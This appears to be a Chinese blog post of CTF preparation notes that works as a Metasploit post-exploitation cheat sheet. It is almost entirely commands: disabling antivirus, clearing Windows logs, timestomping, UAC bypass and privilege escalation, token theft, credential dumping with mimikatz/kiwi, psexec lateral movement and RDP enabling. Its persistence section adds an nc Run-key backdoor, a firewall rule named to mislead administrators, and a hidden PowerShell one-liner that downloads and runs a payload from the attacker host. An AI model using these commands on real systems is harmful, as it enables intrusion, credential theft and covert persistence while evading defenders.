前几天准备铁三整理的,当时没来得及发出来,趁着现在摸鱼写一下
exploit 在后台运行
exploit -j
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
run killav #关闭杀软
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
getlwd #查看当前目录
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
upload /usr/test.txt /var/www/html/ #上传test.txt到目标html文件夹下
rm /usr/test.txt #删除文件
download c:\\test\\password.txt /etc/passwd 下载文件
ipconfig/ifconfig
netstat -ano
arp
getproxy
route
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "123.txt"
# -d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行 "123.txt"是payload.exe的运行参数
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> # 将Meterpreter会话移植到指定pid值进程中
kill <pid值> # 杀死进程
clearev # 清除windows中的应用程序日志、系统日志、安全日志
timestomp C:\\ -h #查看帮助
timestomp -v C:\\2.txt #查看时间戳
timestomp C:\\2.txt -f C:\\1.txt #将1.txt的时间戳复制给2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
meterpreter > run get_local_subnets
run autoroute –h #查看帮助
run autoroute -s 192.168.58.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
run post/windows/gather/arp_scanner RHOSTS=192.168.58.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.58.139
msf> use auxiliary/server/socks5
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
可以用proxychains去代理
socks5 127.0.0.1 1080
1. run post/wndows/manage/delete_user username=c6h5no2 #删除指定用户
2. run arp_scanner -r 192.168.183.1/24 # 利用arp进行存活主机扫描
3. run winenum # 自动化执行一些检测脚本
4. run credcollect # 获取用户hash
5. run domain_list_gen # 获取域管理账户列表
6. run post/multi/gather/env # 获取用户环境变量
7. run post/windows/gather/enum_logged_on_users -c # 列出当前登录用户
8. run post/linux/gather/checkvm # 是否虚拟机
9. run post/windows/gather/checkvm # 是否虚拟机
10. run post/windows/gather/forensics/enum_drives # 查看磁盘分区信息
11. run post/windows/gather/enum_applications # 获取安装软件信息
12. run post/windows/gather/dumplinks # 获取最近访问过的文档、链接信息
13. run post/windows/gather/enum_ie # 获取IE缓存
14. run post/windows/gather/enum_firefox # 获取firefox缓存
15. run post/windows/gather/enum_chrome # 获取Chrome缓存
16. run post/multi/recon/local_exploit_suggester # 获取本地提权漏洞
17. run post/windows/gather/enum_patches # 获取补丁信息
18. run post/windows/gather/enum_domain # 查找域控
19. run post/windows/gather/enum_snmp # 获取snmp团体名称
20. run post/windows/gather/credentials/vnc # 获取vnc密码
21. run post/windows/wlan/wlan_profile # 用于读取目标主机WiFi密码
22. run post/multi/gather/wlan_geolocate # 基于wlan进行地理位置确认 文件位于/root/.msf4/loot
23. run post/windows/manage/killav 关闭杀毒软件
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
ps #查看进程
steal_token <pid> #从指定进程中窃取
drop_token #停止当前的token
因为靶机是win10的,直接测试了
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
set session
生成新的session
getuid仍为普通用户,
getsystem 成功提权
use exploit/windows/local/ask
set filename update.exe # 设置反弹程序名称
set session 2
这个时候Windows弹出
即可提权成功
使用相应的exp
msf6 exploit(windows/local/cve_2020_1048_printerdemon) > use exploit/windows/local/cve_2020_1048_printerdemon
用这个没打出来,win10的蛮难打的。。。
放弃了
漏扫脚本直接扫
meterpreter > run post/multi/recon/local_exploit_suggester
最终用exploit/windows/local/cve_2019_1458_wizardopium提权成功
use incognito # 加载窃取令牌模块
list_tokens -u # 查看可用的用户令牌
list_tokens -g # 查看可用的用户组令牌
impersonate_token 'NT AUTHORITYSYSTEM' # 假冒SYSTEM token
rev2self #返回原始token
meterpreter > use incognito
meterpreter > list_tokens -u #查看可用的用户令牌
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM
hashdump
run post/windows/gather/smart_hashdump
mimikatz(新版msf没了)
load mimikatz # 加载mimikatz模块
msv # 获取用户和hash值
kerberos # 获取内存中的明文密码信息
wdigest # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes # 执行用户hash
7409/article/details/101346833
kiwi
注意:kiwi 是需要在64位运行的,如果后门是32位的需要进程迁移到64位上
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用户需要设置SMBDOMAIN
run
模块(免杀):use exploit/windows/smb/psexec_psh
enable_rdp脚本
通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=testrdp PASSWORD=admin!@#123 # 添加用户,密码强度要搞
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667
enumdesktops # 查看可用的桌面
getdesktop # 获取当前meterpreter 关联的桌面
setdesktop # 设置meterpreter关联的桌面 -h查看帮助
run vnc # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
绝了,windows没连上,kali连上了
注册表基本命令
reg –h # 查看帮助
-k 注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值
利用注册表添加nc后门
1.编辑注册表,添加nc到系统启动项中,形成后门程序。
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上传nc到目标主机
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚举注册表run下的键值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 设置键值 -v 键的名称 -d 键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查询test_nc的键值
2.设置防火墙允许通过443端口(如果目标主机开启防火墙,没有设置相应的规则可能会导致连接失败。)
shell
netsh firewall show opmode # 查看防火墙状态
netsh firewall add portopening TCP 443 "网络发现(Pub PSD-Out)" ENABLE ALL # 添加防火墙的规则允许443端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,目的是为了迷惑管理员。)
3.待目标主机重启后,自启nc程序,然后我们利用nc连接即可
在我们通过漏洞获取到目标主机权限之后,如果目标主机主机重启亦或是管理员发现并修补了漏洞,那么我们就会失去对服务器的控制权,所以我们需要通过植入后门来维持权限,前面说的nc后门就是其中一种,另外一般还有Persistence和Metsvc
Persistence(通过启动项安装)
run persistence –h # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址
Metsvc(通过服务安装)
run metsvc -h # 查看帮助
run metsvc -A # 自动安装后门
run metsvc -r # 删除后门
连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
Powershell后门
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
在目标设备cmd上执行以下命令即可反弹
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z 833
文章参考:https://blog.csdn.net/weixin_44677409/article/details/101346833
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/207/
最后修改时间:2021-05-19 21:13:53
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!